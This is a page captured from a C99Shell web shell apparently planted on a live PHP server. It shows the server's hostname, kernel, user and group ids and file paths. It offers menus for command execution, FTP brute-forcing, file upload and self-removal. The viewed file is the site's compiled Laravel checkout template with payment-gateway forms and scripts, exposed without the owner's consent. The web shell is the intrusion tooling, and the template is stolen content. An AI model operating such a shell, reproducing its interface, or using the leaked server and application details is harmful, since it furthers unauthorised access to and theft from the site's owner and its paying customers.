!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/storage/framework/views/   drwxrwxrwx
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     b8774b3e70a7a303771f15b9e615affacb5c827a.php (45.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php $__env->startSection('title'); ?> Checkout <?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>
    <!-- Content Header (Page header) -->
    <section class="content-header">

    </section>
    <?php $credentials json_decode(get_settings('payment_gateway')); ?>
    <!-- Main content -->
    <div class="content">
        <div class="container-fluid">
            <div class="row">
                <!-- /.col-md-6 -->
                <div class="col-lg-10 mx-auto">
                    <div class="card">
                        <form action="<?php echo e(route('paymentgateway::process.paynow')); ?>" method="post" id="payment-form">
                            <?php echo csrf_field(); ?>
                            <input type="hidden" name="amount" value="<?php echo e($amount); ?>">
                            <div class="card-header">
                                <h5 class="m-0"><?php echo e(trans('customer.billing')); ?></h5>
                            </div>
                            <div class="card-body">
                                <div class="row">
                                    <div class="col-sm-6">
                                        <div id="accordion"
                                             class="accordion accordion_primary <?php echo e($amount<=0?'d-none':''); ?>">
                                            <?php if(isset($credentials) && isset($credentials->paypal_status) && $credentials->paypal_status=='active' && ($credentials->paypal_client_id && $credentials->paypal_client_secret)): ?>
                                            <div class="accordion_item">
                                                <div class="accordion_header collapsed" data-toggle="collapse"
                                                     data-target="#collapsePaypal" aria-expanded="false"
                                                     aria-controls="collapseOne">
                                                    <div class="d-none">
                                                        <input value="paypal" name="payment_type" type="radio"
                                                               id="paypalRadio">
                                                    </div>
                                                    <span><?php echo e(trans('Paypal')); ?></span>
                                                </div>
                                                <div id="collapsePaypal" class="collapse accordion_body"
                                                     aria-labelledby="headingOne"
                                                     data-parent="#accordion">
                                                    <div class="accordion_body_text ">
                                                        <span><?php echo e(trans('paymentgateway::layout.paypal_text')); ?></span>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php endif; ?>

                                            <?php if(isset($credentials) && isset($credentials->stripe_status) && $credentials->stripe_status=='active' && ($credentials->stripe_pub_key && $credentials->stripe_secret_key)): ?>
                                            <div class="accordion_item">
                                                <div class="accordion_header collapsed" data-toggle="collapse"
                                                     data-target="#collapseStripe" aria-expanded="false"
                                                     aria-controls="collapseOne">
                                                    <div class="d-none">
                                                        <input value="card" name="payment_type" type="radio"
                                                               id="cardRadio">
                                                    </div>
                                                    <span><?php echo e(trans('Credit/Debit Card')); ?></span>
                                                </div>
                                                <div id="collapseStripe" class="collapse accordion_body"
                                                     aria-labelledby="headingOne"
                                                     data-parent="#accordion">
                                                    <div class="accordion_body_text ">
                                                        <div id="card-element"
                                                             class="border-1-gray p-3 border-radius-1"></div>
                                                        <div id="card-errors" role="alert"></div>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php endif; ?>

                                            <?php if(isset($credentials) && isset($credentials->paytm_status) && ($credentials->paytm_status=='active' && $credentials->paytm_environment && $credentials->paytm_mid && $credentials->paytm_secret_key && $credentials->paytm_website && $credentials->paytm_txn_url)): ?>
                                            <div class="accordion_item">
                                                <div class="accordion_header collapsed" data-toggle="collapse"
                                                     data-target="#collapsePaytm" aria-expanded="false"
                                                     aria-controls="collapseOne">
                                                    <div class="d-none">
                                                        <input value="paytm" name="payment_type" type="radio"
                                                               id="paytmRadio">
                                                    </div>
                                                    <span><?php echo e(trans('Paytm')); ?></span>
                                                </div>
                                                <div id="collapsePaytm" class="collapse accordion_body"
                                                     aria-labelledby="headingOne"
                                                     data-parent="#accordion">
                                                    <div class="accordion_body_text ">
                                                        <span><?php echo e(trans('Paytm')); ?></span>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php endif; ?>

                                            <?php if(isset($credentials) && ($credentials->mollie_status=='active' && $credentials->mollie_api_key)): ?>
                                            <div class="accordion_item">
                                                <div class="accordion_header collapsed" data-toggle="collapse"
                                                     data-target="#collapseMollie" aria-expanded="false"
                                                     aria-controls="collapseOne">
                                                    <div class="d-none">
                                                        <input value="mollie" name="payment_type" type="radio"
                                                               id="mollieRadio">
                                                    </div>
                                                    <span><?php echo e(trans('Mollie')); ?></span>
                                                </div>
                                                <div id="collapseMollie" class="collapse accordion_body"
                                                     aria-labelledby="headingOne"
                                                     data-parent="#accordion">
                                                    <div class="accordion_body_text ">
                                                        <span><?php echo e(trans('Mollie')); ?></span>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php endif; ?>

                                            <?php if(isset($credentials) && ($credentials->paystack_status=='active' && $credentials->paystack_merchant_email && $credentials->paystack_payment_url && $credentials->paystack_secret_key && $credentials->paystack_public_key)): ?>
                                            <div class="accordion_item">
                                                <div class="accordion_header collapsed" data-toggle="collapse"
                                                     data-target="#collapsePaystack" aria-expanded="false"
                                                     aria-controls="collapseOne">
                                                    <div class="d-none">
                                                        <input value="paystack" name="payment_type" type="radio"
                                                               id="paystackRadio">
                                                    </div>
                                                    <span><?php echo e(trans('Paystack')); ?></span>
                                                </div>
                                                <div id="collapsePaystack" class="collapse accordion_body"
                                                     aria-labelledby="headingOne"
                                                     data-parent="#accordion">
                                                    <div class="accordion_body_text ">
                                                        <span><?php echo e(trans('Paystack')); ?></span>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php endif; ?>

                                            <?php if(isset($credentials) && isset($credentials->flutter_wave_status) && $credentials->flutter_wave_status=='active' && ($credentials->flutter_wave_public_key)): ?>
                                            <div class="accordion_item">
                                                <div class="accordion_header collapsed" data-toggle="collapse"
                                                     data-target="#collapseflutterwave" aria-expanded="false"
                                                     aria-controls="collapseOne">
                                                    <div class="d-none">
                                                        <input value="flutterwave" name="payment_type" type="radio"
                                                               id="flutterwaveRadio">
                                                    </div>
                                                    <span><?php echo e(trans('Flutterwave')); ?></span>
                                                </div>
                                                <div id="collapseflutterwave" class="collapse accordion_body"
                                                     aria-labelledby="headingOne"
                                                     data-parent="#accordion">
                                                    <div class="accordion_body_text ">
                                                        <span><?php echo e(trans('Flutterwave')); ?></span>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php endif; ?>

                                            <?php if(isset($credentials) && isset($credentials->v_status) && $credentials->v_status=='active' && $credentials->v_merchant_id): ?>
                                            <div class="accordion_item">
                                                <div class="accordion_header collapsed" data-toggle="collapse"
                                                     data-target="#collapsevogue_pay" aria-expanded="false"
                                                     aria-controls="collapseOne">
                                                    <div class="d-none">
                                                        <input value="vogue_pay" name="payment_type" type="radio"
                                                               id="vogue_pay">
                                                    </div>
                                                    <span><?php echo e(trans('VoguePay')); ?></span>
                                                </div>
                                                <div id="collapsevogue_pay" class="collapse accordion_body"
                                                     aria-labelledby="headingOne"
                                                     data-parent="#accordion">
                                                    <div class="accordion_body_text ">
                                                        <span><?php echo e(trans('VoguePay')); ?></span>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php endif; ?>

                                            <?php if(isset($credentials) && isset($credentials->stripe_status) && $credentials->stripe_status=='active' && ($credentials->stripe_pub_key && $credentials->stripe_secret_key)): ?>
                                            <div class="accordion_item">
                                                <div class="accordion_header collapsed" data-toggle="collapse"
                                                     data-target="#collapsestripe_checkout" aria-expanded="false"
                                                     aria-controls="collapseOne">
                                                    <div class="d-none">
                                                        <input value="stripe_checkout" name="payment_type" type="radio"
                                                               id="stripe_checkout">
                                                    </div>
                                                    <span><?php echo e(trans('Stripe Checkout')); ?></span>
                                                </div>
                                                <div id="collapsestripe_checkout" class="collapse accordion_body"
                                                     aria-labelledby="headingOne"
                                                     data-parent="#accordion">
                                                    <div class="accordion_body_text ">
                                                        <span><?php echo e(trans('Stripe Checkout')); ?></span>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php endif; ?>

                                            <?php if(isset($credentials) && isset($credentials->iyzico_status) && $credentials->iyzico_status=='active' && ($credentials->iyzico_api_key && $credentials->iyzico_secret_key)): ?>
                                            <div class="accordion_item">
                                                <div class="accordion_header collapsed" data-toggle="collapse"
                                                     data-target="#collapseiyzico" aria-expanded="false"
                                                     aria-controls="collapseOne">
                                                    <div class="d-none">
                                                        <input value="iyzico" name="payment_type" type="radio"
                                                               id="iyzico">
                                                    </div>
                                                    <span><?php echo e(trans('Iyzico')); ?></span>
                                                </div>
                                                <div id="collapseiyzico" class="collapse accordion_body"
                                                     aria-labelledby="headingOne"
                                                     data-parent="#accordion">
                                                    <div class="accordion_body_text ">
                                                        <div class="container">
                                                         <div class="row">
                                                             <div class="col-sm-12">
                                                                 <label for="">Card Holder Name</label>
                                                                 <input type="text" placeholder="Jhon Doe" name="iyzico_card_holder_name" class="form-control">
                                                             </div>
                                                             <div class="col-sm-12 mt-2">
                                                                 <label for="">Card Number</label>
                                                                 <input type="text" placeholder="4242 4242 xxxx xxxx" name="iyzico_card_number" class="form-control">
                                                             </div>
                                                             <div class="col-sm-4 mt-2">
                                                                 <label for="">Month</label>
                                                                 <input type="text" placeholder="06" name="iyzico_card_expired_date" class="form-control">
                                                             </div>
                                                             <div class="col-sm-4 mt-2">
                                                                 <label for="">Year</label>
                                                                 <input type="text" placeholder="2025" name="iyzico_card_expired_year" class="form-control">
                                                             </div>
                                                             <div class="col-sm-4 mt-2">
                                                                 <label for="">CVC</label>
                                                                 <input type="text" placeholder="123" name="iyzico_card_cvc" class="form-control">
                                                             </div>
                                                         </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php endif; ?>

                                            <?php if(isset($credentials->authorize_net_login_id) && isset($credentials->authorize_net_secret_key) && isset($credentials->authorize_net_transaction_key) && isset($credentials->authorize_net_status) &&
$credentials->authorize_net_status=='active'): ?>
                                            <div class="accordion_item">
                                                <div class="accordion_header collapsed" data-toggle="collapse"
                                                     data-target="#collapseauthorizenet" aria-expanded="false"
                                                     aria-controls="collapseOne">
                                                    <div class="d-none">
                                                        <input value="authorize_net" name="payment_type" type="radio"
                                                               id="authorize_net">
                                                    </div>
                                                    <span><?php echo e(trans('Authorize Net')); ?></span>
                                                </div>
                                                <div id="collapseauthorizenet" class="collapse accordion_body"
                                                     aria-labelledby="headingOne"
                                                     data-parent="#accordion">
                                                    <div class="accordion_body_text ">
                                                            <div class="row">
                                                                <div class="col-sm-12">
                                                                    <label>
                                                                        <span>Card Number</span>
                                                                    </label>
                                                                    <input id="authorize_net_card_number" placeholder="43xx 67xx 93xx xxxx" name="authorize_net_card_number" type="text" class="form-control"
                                                                           size="20" value="" autocomplete="off">
                                                                </div>
                                                                <div class="col-sm-6 mt-2">
                                                                    <label>
                                                                        Expiration Month
                                                                    </label>
                                                                    <input class="form-control" placeholder="12" name="authorize_net_exp_month" type="text" size="2"
                                                                           id="expMonth">
                                                                </div>
                                                                <div class="col-sm-6 mt-2">
                                                                    <label for="">Expiration Year</label>
                                                                    <input type="text" name="authorize_net_exp_year" placeholder="2021" class="form-control" size="2"
                                                                           id="expYear">
                                                                </div>
                                                                <div class="col-sm-12 mt-2">
                                                                    <label> CVC </label>
                                                                    <input id="cvv" name="authorize_net_cvc" placeholder="123" class="form-control" size="4"
                                                                           type="text" value="" autocomplete="off">
                                                                </div>
                                                            </div>
                                                    </div>
                                                </div>
                                            </div>
                                            <?php endif; ?>

                                                <?php if(isset($credentials) && isset($credentials->coinpay_status) && $credentials->coinpay_status=='active' && isset($credentials->public_key) && isset($credentials->private_key)): ?>
                                                    <div class="accordion_item">
                                                        <div class="accordion_header collapsed" data-toggle="collapse"
                                                             data-target="#collapsecoin_pay" aria-expanded="false"
                                                             aria-controls="collapseOne">
                                                            <div class="d-none">
                                                                <input value="coinpay" name="payment_type" type="radio"
                                                                       id="coin_pay">
                                                            </div>
                                                            <span><?php echo e(trans('Coin Payment')); ?></span>
                                                        </div>
                                                        <div id="collapsecoin_pay" class="collapse accordion_body"
                                                             aria-labelledby="headingOne"
                                                             data-parent="#accordion">
                                                            <div class="accordion_body_text ">
                                                                <h4>Select Type</h4>
                                                                <div class="form-group">
                                                                    <input type="radio"  name="coin_payment_type" value="btc" id="btc">
                                                                    <label for="btc" class="ml-2 c-pointer">BTC</label>

                                                                    <input type="radio"  name="coin_payment_type" class="ml-3" value="ltct" id="ltct">
                                                                    <label for="ltct" class="ml-2 c-pointer">LTCT(Litecoin)</label>
                                                                </div>

                                                                <div class="form-group" id="showCoinPayInfo">

                                                                </div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                <?php endif; ?>


                                                <?php if(isset($credentials) && isset($credentials->offline_status) && $credentials->offline_status=='active' && isset($credentials->offline_instruction)): ?>
                                                    <div class="accordion_item">
                                                        <div class="accordion_header collapsed" data-toggle="collapse"
                                                             data-target="#collapseOffline" aria-expanded="false"
                                                             aria-controls="collapseOne">
                                                            <div class="d-none">
                                                                <input value="offline" name="payment_type" type="radio"
                                                                       id="cardOffline">
                                                            </div>
                                                            <span><?php echo e(trans('Offline (Bank)')); ?></span>
                                                        </div>
                                                        <div id="collapseOffline" class="collapse accordion_body"
                                                             aria-labelledby="headingOne"
                                                             data-parent="#accordion">
                                                            <div class="accordion_body_text">
                                                                <div class="row">
                                                                    <div class="col-12">
                                                                        <div class="form-group">
                                                                            <p><?php echo e($credentials->offline_instruction); ?></p>
                                                                        </div>
                                                                    </div>
                                                                    <div class="col-12">
                                                                        <div class="form-group">
                                                                            <label
                                                                                for="account_number"><?php echo e(trans('Transaction ID')); ?>

                                                                                *</label>
                                                                            <input type="text" name="transaction_id"
                                                                                   class="form-control">
                                                                        </div>
                                                                    </div>
                                                                </div>


                                                            </div>
                                                        </div>
                                                    </div>
                                                <?php endif; ?>
                                        </div>

                                    </div>
                                    <div class="col-sm-6 plan-summary">
                                        <div class="card-header">
                                            <h4 class="card-title"><?php echo e(trans('Payment summary')); ?></h4>
                                        </div>
                                        <div class="card-body">
                                            <div class="row">
                                                <div class="col-sm-6">
                                                    <ul>
                                                        <li><strong><?php echo e(trans('Start Date')); ?></strong></li>
                                                        <li><strong><?php echo e(trans('Expiry Date')); ?></strong></li>
                                                    </ul>
                                                </div>
                                                <div class="col-sm-6">
                                                    <ul>
                                                        <li><?php echo e(now()->format('M-d-Y')); ?></li>
                                                        <li><?php echo e(now()->addMonth()->format('M-d-Y')); ?></li>
                                                    </ul>
                                                </div>
                                            </div>
                                            <hr>
                                            <div class="row">
                                                <div class="col-sm-6">
                                                    <ul>
                                                        <li><strong><?php echo e(trans('Total Cost')); ?></strong></li>
                                                    </ul>
                                                </div>
                                                <div class="col-sm-6">
                                                    <ul>
                                                        <li><?php echo e(formatNumberWithCurrSymbol($amount)); ?></li>
                                                    </ul>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <div class="card-footer text-right" id="payNowBtnSection">
                                <?php if($amount<=0): ?>
                                    <button type="button" id="paynow"
                                            class="btn btn-primary"><?php echo e(trans('Confirm')); ?></button>
                                <?php else: ?>
                                    <button disabled type="button" id="paynow"
                                            class="btn btn-primary"><?php echo e(trans('Pay Now')); ?></button>
                                <?php endif; ?>
                            </div>
                        </form>
                    </div>
                </div>
                <!-- /.col-md-6 -->
            </div>
            <!-- /.row -->
        </div><!-- /.container-fluid -->
    </div>
    <!-- /.content -->
<?php $__env->stopSection(); ?>

<?php $__env->startSection('extra-scripts'); ?>
    <script src="https://js.stripe.com/v3/"></script>
    <script src="https://checkout.flutterwave.com/v3.js"></script>
    <script src="https://pay.voguepay.com/js/voguepay.js"></script>
    <script>
        $(document).on('click', '#paynow', function (e) {
            if ($('[name=payment_type]:checked').val() == 'coinpay') {
                e.preventDefault();
                $('#paynow').addClass('disabled');
                const payment_type = $('[name=payment_type]:checked').val();
                const coin_payment_type = $('[name=coin_payment_type]:checked').val();

                $.ajax({
                    method: 'POST',
                    url: '<?php echo e(route('paymentgateway::process.coin.payment')); ?>',
                    data: {
                        "_token": '<?php echo e(csrf_token()); ?>',
                        payment_type: payment_type,
                        coin_payment_type: coin_payment_type,
                    },

                    success: function (res) {
                        if (res.status == 'success') {
                            $('#showCoinPayInfo').html(` <h5>Amount :  <span>${res.data.amount} ${res.data.currency}</span></h5>`)
                            $('#payNowBtnSection').html(`<a class="btn btn-primary" type="button" href="${res.data.status_url}">Process</a>`)
                        }
                        $('#paynow').removeClass('disabled');
                    },
                    error:function (res){
                        $(document).Toasts('create', {
                            autohide: true,
                            delay: 10000,
                            class: 'bg-danger',
                            title: 'Notification',
                            body: res.message,
                        });
                        $('#paynow').removeClass('disabled');

                    }
                })
            }
        });
    </script>

    <script !src="">
        "use strict";
        // Create a Stripe client.
        var stripe = Stripe('<?php echo e(isset(json_decode(get_settings('payment_gateway'))->stripe_pub_key)?json_decode(get_settings('payment_gateway'))->stripe_pub_key:''); ?>');

        // Create an instance of Elements.
        var elements = stripe.elements();

        // Custom styling can be passed to options when creating an Element.
        // (Note that this demo uses a wider set of styles than the guide below.)
        var style = {
            base: {
                color: '#32325d',
                fontFamily: '"Helvetica Neue", Helvetica, sans-serif',
                fontSmoothing: 'antialiased',
                fontSize: '16px',
                '::placeholder': {
                    color: '#aab7c4'
                }
            },
            invalid: {
                color: '#fa755a',
                iconColor: '#fa755a'
            }
        };

        // Create an instance of the card Element.
        var card = elements.create('card', {style: style});

        // Add an instance of the card Element into the `card-element` <div>.
        card.mount('#card-element');

        // Handle real-time validation errors from the card Element.
        card.on('change', function (event) {
            var displayError = document.getElementById('card-errors');
            if (event.error) {
                displayError.textContent = event.error.message;
            } else {
                displayError.textContent = '';
            }
        });

        // Handle form submission.
        var form = document.getElementById('payment-form');

        form.addEventListener('submit', function (event) {
            event.preventDefault();
            var cardRadio = document.getElementById('cardRadio');
            if (cardRadio.checked) {
                stripe.createToken(card).then(function (result) {
                    if (result.error) {
                        // Inform the user if there was an error.
                        var errorElement = document.getElementById('card-errors');
                        errorElement.textContent = result.error.message;
                    } else {
                        // Send the token to your server.
                        stripeTokenHandler(result.token);
                    }
                });
            } else {
                form.submit();
            }
        });

        // Submit the form with the token ID.
        function stripeTokenHandler(token) {
            // Insert the token ID into the form so it gets submitted to the server
            var form = document.getElementById('payment-form');
            var hiddenInput = document.createElement('input');
            hiddenInput.setAttribute('type', 'hidden');
            hiddenInput.setAttribute('name', 'stripeToken');
            hiddenInput.setAttribute('value', token.id);
            form.appendChild(hiddenInput);

            // Submit the form
            form.submit();
        }
    </script>

    <script !src="">
        function checkRadioButton() {
            let isOneChecked = false;
            let testimonialElements = $('[name="payment_type"]');
            for (let i = 0; i < testimonialElements.length; i++) {
                let element = testimonialElements.eq(i);
                if (element.is(':checked')) {
                    isOneChecked = true;
                    break;
                }
            }
            if (isOneChecked)
                $('#paynow').removeAttr('disabled');
            else
                $('#paynow').attr('disabled', 'true');

            <?php if($amount <= 0): ?>
            $('#paynow').val("<?php echo e(trans('Confirm')); ?>");
            <?php endif; ?>

            if ($('[name=payment_type]:checked').val() == 'flutterwave' || $('[name=payment_type]:checked').val() == 'vogue_pay' || $('[name=payment_type]:checked').val() == 'coinpay') {
                $('#paynow').attr('type', 'button');
            } else {
                $('#paynow').attr('type', 'submit');
            }


            if ($('[name=payment_type]:checked').val() == 'offline') {
                $('#collapseOffline input').each(function (index, value) {
                    $(value).attr('required', 'true');
                })
            } else {
                $('#collapseOffline input').each(function (index, value) {
                    $(value).removeAttr('required');
                })
            }

            $('[name=reference]').removeAttr('required');

        }

        $('#collapsePaypal,#collapseStripe,#collapseOffline,#collapsePaytm,#collapseMollie,#collapsePaystack,#collapseflutterwave,#collapsevogue_pay,#collapsestripe_checkout,#collapseiyzico,#collapseauthorizenet,#collapsecoin_pay').on('show.bs.collapse', function (e) {
            $('[name="payment_type"]').removeAttr('checked');
            let type = $(this).parent().find('[name="payment_type"]');
            type.attr('checked', 'true');
            type.trigger('change');
            checkRadioButton();
        });

        $('#collapsePaypal,#collapseStripe,#collapseOffline,#collapsePaytm,#collapseMollie,#collapsePaystack,#collapseflutterwave,#collapsevogue_pay,#collapsestripe_checkout,#collapseiyzico,#collapseauthorizenet,#collapsecoin_pay').on('hide.bs.collapse', function (e) {
            let type = $(this).parent().find('[name="payment_type"]');
            type.removeAttr('checked');
            type.trigger('change');
            checkRadioButton();
        });

    </script>

    <script>
        function closedFunction() {
            alert('Window Closed By Authorities');
        }

        function successFunction(transaction_id) {
            console.log(transaction_id);
            $.ajax({
                type: "POST",
                url: "<?php echo e(route('paymentgateway::check.payment.validity')); ?>",
                data: {
                    "_token": '<?php echo e(csrf_token()); ?>',
                    price: 20,
                },
                success: function (res) {
                    if (res.status == 'success') {
                        $('#payment-form').submit();
                    }
                }

            });
            alert('Transaction was successfully carried out, Ref: '+transaction_id);
        }

        function failedFunction(transaction_id) {
            alert('Transaction was not successful, Ref: '+transaction_id)
        }

        $(document).on('click', '#paynow', function (e){
            if ($('[name=payment_type]:checked').val() == 'flutterwave') {
                <?php if(isset(json_decode(get_settings('payment_gateway'))->flutter_wave_public_key) && json_decode(get_settings('payment_gateway'))->flutter_wave_public_key): ?>
                FlutterwaveCheckout({
                    public_key: "<?php echo e(json_decode(get_settings('payment_gateway'))->flutter_wave_public_key); ?>",
                    tx_ref: "PICO-",
                    currency: "USD",
                    country: "US",
                    payment_options: " ",
                    // redirect_url: // specified redirect URL
                    //     "https://google.com",
                    meta: {
                        consumer_id: <?php echo e(auth('customer')->user()->id); ?>,
                        consumer_mac: "92a3-912ba-1192a",
                    },
                    customer: {
                        email: "<?php echo e(auth('customer')->user()->email); ?>",
                        phone_number: "08102909304",
                        name: "<?php echo e(auth('customer')->user()->first_name); ?>",
                    },
                    callback: function (data) {
                        console.log(data.status, data.amount);
                        if (data.status=='successful'){
                            $.ajax({
                                method: "get",
                                url: "<?php echo e(route('paymentgateway::check.payment.validity')); ?>",
                                data: {
                                    "price": data.amount,
                                },
                                success: function (res) {
                                    if (res.status == 'success') {
                                        $('#payment-form').submit();
                                    }
                                }

                            })
                        }
                    },
                    onclose: function() {
                        // close modal
                    },
                    customizations: {
                        description: " ",
                        logo: '',
                    },
                });
                <?php endif; ?>
            }else if($('[name=payment_type]:checked').val() == 'vogue_pay'){
                <?php if(isset(json_decode(get_settings('payment_gateway'))->v_merchant_id) && json_decode(get_settings('payment_gateway'))->v_merchant_id): ?>

                    //Initiate voguepay inline payment
                    Voguepay.init({
                        v_merchant_id: '<?php echo e(json_decode(get_settings('payment_gateway'))->v_merchant_id); ?>',
                        notify_url:'google.com',
                        cur: 'NGN',
                        merchant_ref: '<?php echo e('plan-'.''.$amount); ?>',
                        developer_code: '5a61be72ab323',
                        items: [
                            {
                                name: "<?php echo e($amount); ?>",
                                description: "Description 1",
                                price: '<?php echo e($amount); ?>'
                            },
                        ],
                        customer: {
                            name: '<?php echo e(auth('customer')->user()->first_name); ?>',
                            address: 'Customer address',
                            city: 'Customer city',
                            state: 'Customer state',
                            zipcode: 'Customer zip/post code',
                            email: '<?php echo e(auth('customer')->user()->email); ?>',
                            phone: 'Customer phone'
                        },
                        closed:closedFunction,
                        success:successFunction,
                        failed:failedFunction
                    });
                <?php endif; ?>

                //Demo Link: https://codepen.io/sakarious/pen/OJmYVxM
            }
        });
    </script>

<?php $__env->stopSection(); ?>


<?php echo $__env->make('layouts.customer'\Illuminate\Support\Arr::except(get_defined_vars(), ['__data''__path']))->render(); ?><?php /**PATH /home/picotech/domains/smm.picotech.app/public_html/Modules/PaymentGateway/Resources/views/process.blade.php ENDPATH**/ ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.008 ]--